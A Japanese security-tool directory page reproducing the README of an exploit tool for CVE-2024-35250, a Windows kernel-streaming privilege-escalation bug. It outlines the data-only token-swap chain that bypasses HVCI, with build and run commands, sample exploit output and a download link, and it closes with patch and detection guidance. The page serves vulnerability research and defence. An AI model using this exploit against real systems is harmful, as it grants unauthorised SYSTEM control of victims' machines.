Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HVCIPwned — CVE-2024-35250は、HVCIがデータ専用カーネルエクスプロイトに対する防御策ではないことを示しています。ドライバのバグが任意のR/Wプリミティブを提供する限り、トークンスワップはコード実行を一切必要としない、普遍的なSYSTEM権限昇格テクニックであり続けます。 | Kitploit
ツール/GitHubGitHub/xvalegendary/hvcipwned
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubxvalegendary/hvcipwned

HVCIPwned

CVE-2024-35250は、HVCIがデータ専用カーネルエクスプロイトに対する防御策ではないことを示しています。ドライバのバグが任意のR/Wプリミティブを提供する限り、トークンスワップはコード実行を一切必要としない、普遍的なSYSTEM権限昇格テクニックであり続けます。

リポジトリを見る
825ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-35250

Windows Kernel Streaming ドライバー (ks.sys) における信頼されないポインタの逆参照によるローカル権限昇格。 データのみのエクスプロイト — ハイパーバイザーで保護されたコード整合性 (HVCI) をバイパスします。

概要

項目詳細
CVECVE-2024-35250
コンポーネントks.sys (Kernel Streaming)
バグ種別信頼されないポインタの逆参照
影響NT AUTHORITY\SYSTEM への権限昇格 (EoP)
HVCI回避 — カーネル内でのコード実行なし
パッチKB5039212 (2024年6月)
対象Windows 10 20H1+ / Windows 11 21H2-23H2

脆弱性

ks!KspPropertyHandler はトポロジレベルのプロパティ要求を KspProcessPropertyNode を介してディスパッチします。ユーザーが指定した KSP_NODE 構造体の NodeId フィールドは、内部のオートメーションテーブル配列のインデックスとして 境界検証なしで使用されます:

root@kitploit:~
NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- attacker-controlled

実際のノード数を超えるように細工された NodeId は、逆参照を隣接するプールメモリに リダイレクトし、境界外読み取り/書き込みプリミティブを生み出します。

HVCI バイパス

このエクスプロイトはカーネルのデータ構造のみを操作します:

  1. NtQuerySystemInformation を介して EPROCESS アドレスをリーク
  2. 脆弱性をトリガーして任意のカーネル R/W を構築
  3. ActiveProcessLinks を辿って PID 4 (System) を特定
  4. 現在のプロセストークンを System トークンで上書き
  5. 昇格したシェルを起動

シェルコードは注入されません。非署名のコードページは作成も実行もされません。 制御フローポインタは乗っ取られません。

保護機能状態
HVCI / KMCI回避
SMEP未発動
SMAP未発動
kCFG未発動
CET / Shadow Stack未発動

ビルド

必要条件

  • Visual Studio 2019 / 2022
  • Windows SDK 10.0.19041.0+

コンパイル

  1. Visual Studio で hvcipwned.sln を開く
  2. Release | x64 を選択
  3. ビルド → ソリューションのビルド (Ctrl+Shift+B)

出力バイナリ: x64\Release\hvcipwned.exe

手動 cl.exe ビルド

root@kitploit:~
cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

使用方法

root@kitploit:~
hvcipwned.exe

脆弱性のある(パッチ未適用の)システム上で、非特権ユーザーセッションから実行します。 成功すると、NT AUTHORITY\SYSTEM として実行される新しい cmd.exe ウィンドウが開きます。

想定される出力

root@kitploit:~
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

プロジェクト構成

root@kitploit:~
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - types, log macros, nt api typedefs
├── offsets.h        - per-build eprocess field offsets
├── device.h         - ks device enumeration
├── leak.h           - kernel address leaks
├── krw.h            - r/w primitive context
├── token.h          - token swap + shell spawn
└── exploit.h        - top-level entry
├── main.c           - entry point
├── device.c         - setupapi device open
├── leak.c           - NtQuerySystemInformation leaks
├── krw.c            - vulnerability trigger + pool spray + r/w
├── token.c          - eprocess walk + token overwrite
└── exploit.c        - orchestration

対応ビルド

オフセットは実行時に RtlGetVersion を介して自動的に解決されます。

注意事項

  • トポロジノードを持つ KS フィルタデバイスが必要です(オーディオデバイスが動作します)
  • プールスプレーの成功率は、システムのメモリ負荷とタイミングに依存します
  • このエクスプロイトは、プールレイアウト調整 (pool feng shui) に名前付きパイプ属性を使用します
  • 権限昇格を実証するには、通常の(非管理者)ユーザーとして実行します
  • プールレイアウトのランダム化により、複数回の試行が必要になる場合があります

緩和策

参考情報

  • Microsoft アドバイザリ
  • KB5039212 パッチノート
  • DEVCORE — Pwn2Own Vancouver 2024
  • varwara/CVE-2024-35250

免責事項

このプロジェクトは、正規のセキュリティ研究および教育目的のみで提供されます。 明示的な書面による許可なしに、システムに対して使用しないでください。 作者は、本ソフトウェアの誤用またはそれによって引き起こされた損害について一切の責任を負いません。

ライセンス

MIT

ツールをダウンロード
OSBuild状態
Windows 10 20H119041対応
Windows 10 20H219042対応
Windows 10 21H119043対応
Windows 10 21H219044対応
Windows 10 22H219045対応
Windows 11 21H222000対応
Windows 11 22H222621対応
Windows 11 23H222631対応
対策詳細
パッチKB5039212 (2024年6月) 以降をインストール
検知KSPROPERTY_TYPE_TOPOLOGY フラグ付きの IOCTL_KS_PROPERTY を監視
EDREtwTi カーネルコールバックによるトークン整合性の変更をアラート
強化DACL を介して KS デバイスインターフェイスへのユーザーアクセスを制限